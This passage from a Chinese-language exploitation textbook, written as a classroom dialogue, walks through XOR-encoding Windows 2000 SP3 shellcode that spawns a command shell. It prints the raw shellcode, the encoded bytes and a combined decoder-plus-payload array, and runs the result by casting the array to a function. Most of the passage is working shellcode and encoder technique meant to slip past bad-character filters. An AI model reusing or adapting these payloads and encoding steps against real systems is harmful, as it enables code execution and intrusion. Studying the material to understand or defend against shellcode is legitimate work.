5.2.4 实例——异或DOS窗口程序

“我们还是以Win2000中文版SP3下的开DOS窗口的ShellCode为例。大家应该很熟悉了吧?原来的ShellCode如下:”

ShellCode[] = 
    "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
    "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
    "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
    "\x64\x9f\xE6\x77" //SP3 loadlibrary地址0x77e69f64
    "\x52\x8D\x45\xF4\x50" 
    "\xFF\x55\xF0"
    "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" 
    "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" 
    "\x50\xB8"
    "\xc3\xaf\x01\x78" //SP3 system的地址0x7801afc3
    "\xFF\xD0"

“我们先对ShellCode进行编码,异或0x97,程序为xorCMD.cpp(光盘有收录)。xorCMD.cpp还会自动生成规则格式,执行效果如图5-7。

“把屏幕上打印出的代码粘贴下来,得到编码后的enShellCode,如下:”

enShellCode[] = 
    "\xc2\x1c\x7b\xa4\x57\xc7\xc7\xc7\x51\xd2"
    "\x63\xda\x51\xd2\x62\xc4\x51\xd2\x61\xc1"
    "\x51\xd2\x60\xd4\x51\xd2\x6f\xc5\x51\xd2"
    "\x6e\xc3\x51\xd2\x6d\xb9\x51\xd2\x6c\xd3"
    "\x51\xd2\x6b\xdb\x51\xd2\x6a\xdb\x2d\xf3"
    "\x8\x71\xe0\xc5\x1a\xd2\x63\xc7\x68\xc2"
    "\x67\xc2\x1c\x7b\x14\x7b\xbb\x2f\xf4\xf8"
    "\xfa\xfa\x1e\xd2\x63\x2f\xf6\xf9\xf3\xb9"
    "\x1e\xd2\x6f\x2f\xf4\xf8\xfa\xb5\x1e\xd2"
    "\x6b\xa4\x45\x1f\xc2\x68\x1a\xd2\x63\xc7"
    "\x2f\x54\x38\x96\xef\x68\x47"

“再把我提取出的decode放在前面就ok了!”古风说道。

“好,我们把它合起来就是这样的:”

AllShellCode[] = 
    //先是decode
    "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x00\x02"  
    "\x80\x34\x0A\x97\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF"
    //后面跟enShellCode
    "\xc2\x1c\x7b\xa4\x57\xc7\xc7\xc7\x51\xd2"
    "\x63\xda\x51\xd2\x62\xc4\x51\xd2\x61\xc1"
    "\x51\xd2\x60\xd4\x51\xd2\x6f\xc5\x51\xd2"
    "\x6e\xc3\x51\xd2\x6d\xb9\x51\xd2\x6c\xd3"
    "\x51\xd2\x6b\xdb\x51\xd2\x6a\xdb\x2d\xf3"
    "\x8\x71\xe0\xc5\x1a\xd2\x63\xc7\x68\xc2"
    "\x67\xc2\x1c\x7b\x14\x7b\xbb\x2f\xf4\xf8"
    "\xfa\xfa\x1e\xd2\x63\x2f\xf6\xf9\xf3\xb9"
    "\x1e\xd2\x6f\x2f\xf4\xf8\xfa\xb5\x1e\xd2"
    "\x6b\xa4\x45\x1f\xc2\x68\x1a\xd2\x63\xc7"
    "\x2f\x54\x38\x96\xef\x68\x47"

“好,我们来验证一下ShellCode的功能吧!”老师说。

“好的,我来!”古风生怕别人抢了他的功劳,边组合边说,“用前面教过的验证方法把上面那个数组用((void(*)(void)&AllShellCode))强行转换为函数来调用,这样就得到了xorAll.cpp(光盘有收录)

“执行看看呢?”老师说道。

“好哩!编译、执行,如图5-8。”

“哈哈,成功了!”古风得意的说。

“但是,”老师连忙提醒大家,“我们的解码代码decode首先要自己符合规范,但这里?”

“哎哟!decode里面的第9个字节还是00呢!”眼尖的女生叫了起来。

这下台下炸开锅了,“decode本身还不合法呢!”

古风的脸刷得一下红得像个大苹果。

小倩悄声对宇强说:“怎么会这样啊?”

宇强小声的回答:“应该可以解决的吧?看看老师怎么说。”

老师笑了笑:“我只是想提醒大家,写ShellCode时一定要仔细。这里的00很好解决,一会儿再说,我们先总结一下xor方法的优缺点。”